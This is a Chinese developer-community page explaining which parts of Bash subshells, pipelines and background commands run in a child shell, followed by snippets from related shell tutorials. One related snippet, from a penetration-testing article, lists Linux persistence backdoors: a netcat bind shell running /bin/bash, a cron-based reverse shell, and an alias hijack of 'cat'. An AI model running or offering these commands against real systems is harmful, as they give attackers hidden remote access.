首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Bash subshel​​l/pipelines - 哪些部分在子shell中执行?

在Bash subshell/pipelines中,以下部分会在子shell中执行:

  1. 子shell中的命令:当使用括号或者使用内联命令(使用反引号或者$())时,其中的命令会在子shell中执行。
  2. 管道操作符(|):当使用管道操作符将多个命令连接起来时,每个命令都会在自己的子shell中执行。
  3. 后台执行命令(&):当使用后台执行命令将命令放入后台执行时,该命令会在子shell中执行。

需要注意的是,子shell是在当前shell的基础上创建的一个新的进程,它拥有自己的环境变量和执行环境。子shell中执行的命令对于父shell是没有影响的,它们是相互独立的。

对于Bash subshell/pipelines的应用场景,可以通过子shell来实现一些特定的操作,例如在一个命令中使用多个管道操作符,将多个命令的输出传递给下一个命令进行处理;或者在一个命令中使用括号来创建一个子shell,以便在子shell中执行一系列命令。

腾讯云相关产品中,可以使用云服务器(CVM)来进行云计算相关的操作。云服务器提供了灵活的计算资源,可以满足各种规模和需求的应用场景。您可以通过以下链接了解更多关于腾讯云服务器的信息:https://cloud.tencent.com/product/cvm

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

第三十七章 : 奇珍异宝

然而,一个组命令在当前 shell 执行它的所有命令,而一个 shell(顾名思义)在当前 shell 的一个副本执行它的命令。这意味着运行环境被复制给了一个新的 shell 实例。...当这个子 shell 退出时,环境副本会消失,所以在 shell 环境(包括变量赋值)的任何更改也会消失。因此,在大多数情况下,除非脚本要求一个 shell,组命令比 shell 更受欢迎。...shell 执行,所以当该 shell 终止的时候,它的 REPLY 副本会被毁掉。...因为管道线的命令总是在 shell 执行,任何给变量赋值的命令都会遭遇这样的问题。幸运地是,shell 提供了一种奇异的展开方式,叫做进程替换,它可以用来解决这种麻烦。...bash 手册页的 “复合命令” 部分包含了对组命令和 shell 表示法的详尽描述。

60210

《Linux命令行与shell脚本编程大全》 第五章理解shell

不过还有另外一个默认的shell是/bin/sh,它作为默认的shell,用于那些需要在启动时使用的shell脚本 ls -l /bin/sh   进行查看 乌班图的发行版默认的系统shell(dash...5.2.1 进程列表 $ pwd; ls; pwd; cd /; echo $BASH_SUBSHELL 这样可以让命令依次执行。这是在当前shell执行的。...$(pwd; ls; echo $BASH_SUBSHELL;) // 这个是在shell执行。...$(sleep 2; echo $BASH_SUBSHELL; sleep 2;)& 协程:可以同时做两件事,它在后台生成一个shell,并在这个子shell执行命令。...并不是shell程序的一分 通常位于 /bin  /usr/bin   /sbin   /usr/sbin。 外部 命令执行时会创建一个进程。这种操作叫 衍生(forking)。

1.1K100
  • 【Linux】命令行参数和环境变量

    为什么会有命令行参数 运行上面的程序,可以发现,它的用法跟我们的ls -l ,ls -a等指令一样。让一个程序通过不同的选项,实现不同的功能。...Linux,存在一些全局的设置, 告诉命令行解释器,应该去哪些路径下寻找可执行程序。...常见环境变量 PATH : 指定命令的搜索路径 HOME : 指定用户的主工作目录(即用户登陆到Linux系统时,默认的目录) SHELL : 当前Shell,它的值通常是/bin/bash。...系统的很多配置,在我们登录Linux系统的时候,已经被加载到bash进程(内存) bash执行命令的时候,需要先找到命令,因为未来要加载。...内建命令 大部分命令都是bash创建进程执行的。只有少部分命令由bash亲自执行,不会创建进程,比如上面的export,echo等内建命令。

    6910

    第二十九章 : 读取键盘输入

    答案与 shell 处理管道线的方式有关系。在 bash(和其它 shells,例如 sh),管道线会创建 shell。...这个子 shell 是为了执行执行管线的命令而创建的shell和它的环境的副本。上面示例,read 命令将在 shell 执行。...在类 Unix 的系统 shell 执行的时候,会为进程创建父环境的副本。当进程结束之后,该副本就会被破坏掉。这意味着一个 shell 永远不能改变父进程的环境。...在上面的例子,read 在它的 shell 环境,把 foo 赋值给变量 REPLY,但是当命令退出后, shell 和它的环境将被破坏掉,这样赋值的影响就会消失。...第一分显示菜单和用户输入。第二分确认用户反馈,并执行选择的行动。注意脚本中使用的 exit 命令。在这里,在一个行动执行之后, exit 被用来阻止脚本执行不必要的代码。

    32110

    100个Linux命令(7)-进程管理

    那是否可以理解为所有命令、脚本其运行环境都是在shell呢?显然,上面所说的bash内置命令不是在shell运行的。其他的所有方式,都是在shell完成,只不过方式不尽相同。...其实执行bash命令,即可以认为是进入了shell,也可以认为没有进入shell。...但从执行bash命令后进入了新的shell环境来看,它有其父bash进程,所以它算是进入了shell。 (3)执行shell脚本:因为脚本第一行总是"#!.../bin/bash"或者直接"bash xyz.sh",所以这和上面的执行bash进入shell其实是一回事,都是使用bash命令进入shell。...这也就解释了"$(echo $$)""$$"的结果是当前bash的pid号,而不是shell的pid号,因为它不是使用bash命令进入的shell

    1.7K20

    SHELL(bash)脚本编程五:内置命令

    bash的内置命令和外部命令的使用方法相同,我们已经介绍了一分内置命令的用法,本文接着介绍另一些常用内置命令的用法。 1、: 此命令的执行没有任何效果,但在命令执行前会进行参数扩展和重定向。...表示在当前环境下(不启动进程)执行其后的文件。 因为是在当前环境执行文件内容,该文件并不需要具备可执行权限,执行完毕后,在文件内部声明的变量或定义的函数可以在当前环境中直接使用。...eval echo ${array[*]/#/$} 4、hash bash执行的外部命令会被缓存在一个哈希表,直接执行命令hash可以查看当前bash缓存了哪些外部命令: [root@centos7...将参数作为 shell 命令执行。 将 ARGs 合成一个字符串,用结果作为 shell 的输入, 并且执行得到的命令。...++ exit [root@centos7 ~]# 9、ulimit ulimit命令用来控制进程对系统资源的使用,这些限制仅仅适用于当前shell进程及其进程。

    56920

    Shell】环境变量 自定义变量 特殊变量

    Shell变量:环境变量 目标 1、理解什么是系统环境变量? 2、掌握常用的系统环境变量都有哪些Shell变量的介绍 变量用于存储管理临时的数据, 这些数据都是在运行内存的....环境介绍 例如: 有2个Shell脚本文件 A.sh 和 B.sh 如果 在A.sh脚本文件执行了B.sh脚本文件, 那么A.sh就是父Shell环境, B.sh就是Shell环境 自定义全局变量介绍..., 观察打印VAR4效果 执行脚本文件后, 在交互式Shell环境打印VAR4, 观察打印VAR4效果 结论 全局变量在当前Shell环境与Shell环境可用, 父Shell环境不可用...Shell登录环境执行脚本文件语法 sh/bash -l/--login 脚本文件 含义: 先加载Shell登录环境流程初始化环境变量, 再执行脚本文件 Shell非登录环境变量执行脚本文件语法...登录环境 输出 bash 代表: shell非登录环境 注意:这个 $0 环境变量如果用在shell(shell脚本文件)输出Shell脚本本身的文件名 bash命令语法 bash bash

    55431

    Linux权限维持|内网渗透学习(十二)

    who 记录着当前有哪些用户登录在线了的 last 记录着登录记录 ssh -T root@target_ip /bin/bash -i ssh -o UserKnownHostsFile...Setuid & setgid setuid: 设置使文件在执行阶段具有文件所有者的权限典型的文件是/usr/bin/passwd, 如果一般用户执行该文件, 则在执行过程该文件可以获得root...alias cat= '/root/.shell && cat' Crontab 后门 每分钟反弹一次shell给指定ip的8888端口 (crontab -l;echo "*/1**** exec...Linux Bash Shell提供了一个环境变量PROMPT_COMMAND, 这个变量是在BASH出现提示符前执行的命令 可以执行一个反弹shell操作 可以执行用户输入记录 /r 后门 echo.../bin/bash nc -l -v -p 4444 -e /bin/bash 2>/dev/null &/bin/uname $@ 其他可执行程序也可以尝试通过这种方式进行劫持, 是否成功取决于原可执行文件所在目录之前的其他

    1.1K32

    Linux 系统环境变量$PATH

    什么是PATH 在linux,PATH是指环境变量,一般是指操作系统中指定系统运行环境的参数;PATH控制系统会去哪些目录寻找可执行的程序的环境变量。...而外部命令是系统的软件功能,用户需要时才从硬盘读入内存。 外部命令   外部命令也称为文件系统命令,是bash shell之外的程序,也并不是shell的一分。...通常外部命令的实体并不包含在shell,但是其命令执行过程是由shell程序控制的。shell程序管理外部命令执行的路径查找、加载存放,并控制命令的执行。...内置命令   内部命令实际上是shell程序的一分,其中包含的是一些比较简单的Linux系统命令,这些命令由shell程序识别并在shell程序内部完成运行,通常在Linux系统加载运行时shell就被加载并驻留在系统内存...内部命令是写在bash源码里面的,其执行速度比外部命令快,因为解析内部命令shell不需要创建进程。比如:exit,history,cd,echo等。内置命令更高效不会收到环境变量影响。

    54220

    Shellshell概念

    Shell的本质可以理解为Shell进程,进程的概念是由父进程的概念引申而来的,在Linux系统,系统运行的应用程序几乎都是从init(pid为1的进程)进程派生而来的,所有这些应用程序都可以视为...通过执行pstree -a命令就可以看到init及系统其他进程的进程树信息: [root@test ~]# pstree -a systemd --switched-root --system --deserialize...如果在Shell脚本遇到脚本(即脚本嵌套),就会先执行脚本的内容,完成后再返回父脚本继续执行父脚本内后续的命令及语句。...可以使用$BASH_SUBSHELL变量来查看从当前进程开始的shell层数,$BASHPID查看当前所处BASH的PID,这不同于特殊变量$$值,因为$$在大多数情况下都会从父shell中继承。...shell的分类 大致分为两类: sub shell:通过进程替换(cmd)、命令替换 child shell:通过以可执行文件的方式运行shell脚本或直接在当前shell启动shell

    1.3K30

    Linux的Bash Shell详解

    一、Bash Shell概述   1.什么是bash           bash是Bourne Again Shell的简称,是从unix系统的sh发展而来的,是用户和Linux内核交互的工具,用户通过...3.bash的历史和发展 ? 二、Bash Shell的变量概述   1.变量是代表一些值的符号。   2.可以通过变量来设置shell或者其他程序。   3.变量存在于内存。   ...执行一些没有指定路径的指令时去该路径找。                       PATH=$PATH....shell   3.建立环境变量,设置其他程序   4.使用alias,简化后续操作   5.登录登出的时候执行哪些程序 五、login和non-login shell的详解   1.login shell...2.non-login shell:             不需要登录流程就可以执行shell,如su和原bash下的新bash动作             ~/.bash_rc、/etc/bashrc

    3.2K40

    BashShell变量

    var=value export var 在当前进程创建的全局变量在当前进程的所有进程中都是可见的。 在进程创建的全局变量在当前进程是不可见的。...var} 3.5 删除环境变量 在 Bash Shell 使用 unset 命令来删除环境变量。 unset var 和修改全局变量类似,在进程删除全局变量也无法反映到父进程。...GROUPS 含有当前用户属组列表的数组变量 histchars 控制历史记录扩展,最多可有 3 个字符 HISTCMD 当前命令在历史记录的编号 HISTCONTROL 控制哪些命令留在历史记录列表...,以显示 Bash 历史每条命令的时间戳 HISTIGNORE 由冒号分隔的模式列表,用来决定历史文件哪些命令会被忽略 HISTSIZE 最多在历史文件存多少条命令 HOSTFILE Shell...需要注意的是,在当前 Shell 创建的 Shell ,指的仍然当前父 Shell 的 PID;而在孩子 Shell 则是孩子 Shell 的 PID。

    2.4K30

    07_Linux基础-计划任务-备份脚本-变量定义和使用

    =/bin/bash (注:计划任务执行命令时用/bin/bash执行)==PATH===/sbin:/bin:/usr/sbin:/usr/bin ==(注:它有自己的PATH变量,和shell的PATH...=环境变量====set== 查看当前shell里==所有的变量====export 输出变量为全局变量==\# ==echo $$ (注:显示当前bash的进程号)(注:$$代表当前bash的进程号...)==\# ==bash(注:起一个进程,bash)==\# ==echo "$mv $sg hello"(注:输出一串内容的时候,用双引号引起来)==\# ==echo '$mv $sg hello...)==# echo $$==1425==# mv=xull# ==bash(注:起一个进程,bash)==# echo $mv==(注:输出为空,变量不继承)==# echo $$==1598==#...mv=xull# ==export mv(注:输出变量为全局变量)(注:export 输出)==# ==bash(注:起一个进程,bash)==# echo $mvXull==(注:进程继承了变量

    1.1K30

    《Linux命令行与shell脚本编程大全》第十一章 构建基本脚本

    参见5.2.1节 注意区分$(date;who),这个是进程列表,会生成一个shell执行 Shell脚本的关键在于输入多个命令并处理每个命令的结果,甚至需要将一个命令的结果传给另外一个命令。...注意: 命令替换会创建一个shell来运行对应的命令。shell执行命令是无法使用脚本中所创建的变量的。 在命令行提示符下使用路径./也会创建出shell。  比如:test3脚本  ..../test2  要是运行命令的时候不加入路径,就不会创建shell。 如果使用的是内建shell命令就不会涉及shell。...#    流编辑的第二分,是将20110311替换为mv & 20110310,其中&表示s命令的被替换部分,这里即源文件名。     #    \1表示被替换部分#的\(.*\)。    ...还可以在bash计算机赋值给变量,在bc计算机创建的变量只在bc计算机中有效,不能再shell脚本中使用 11.8 退出脚本 Shell运行的每个命令都使用退出吗告诉shell它已经运行完毕。

    1.7K70

    Linux进程控制——Linux进程程序替换

    本篇主要内容: 替换原理 替换函数 实现简易shell 我们所创建的所有的进程,执行的代码,都是父进程代码的一分,如果我们想让进程执行新的程序,执行全新的代码和访问全新的数据,不在和父进程有瓜葛这就要用到我们的进程替换了...,进程往往要调用一种exec函数以执行另一个程序。...进程往往会共享父进程的代码和数据,因为有写时拷贝的技术,有新数据写入时,会重新开辟空间所以不会相互影响,保证父子进程的独立性。 但是我们仔细查看代码和执行结果后发现,竟然有一段代码没有执行!...13 printf("pid: %d, exec command end\n", getpid()); 其实是调用exec程序替换,只要exec替换新程序成功了,进程就回去执行新的程序,因此后面的代码将不会被执行...替换函数 在进程程序替换,替换函数必不可少,让我们来看看这类函数!

    9110

    扫码

    添加站长 进交流群

    领取专属 10元无门槛券

    手把手带您无忧上云

    扫码加入开发者社群

    相关资讯

    热门标签

    活动推荐

      运营活动

      活动名称
      广告关闭
      领券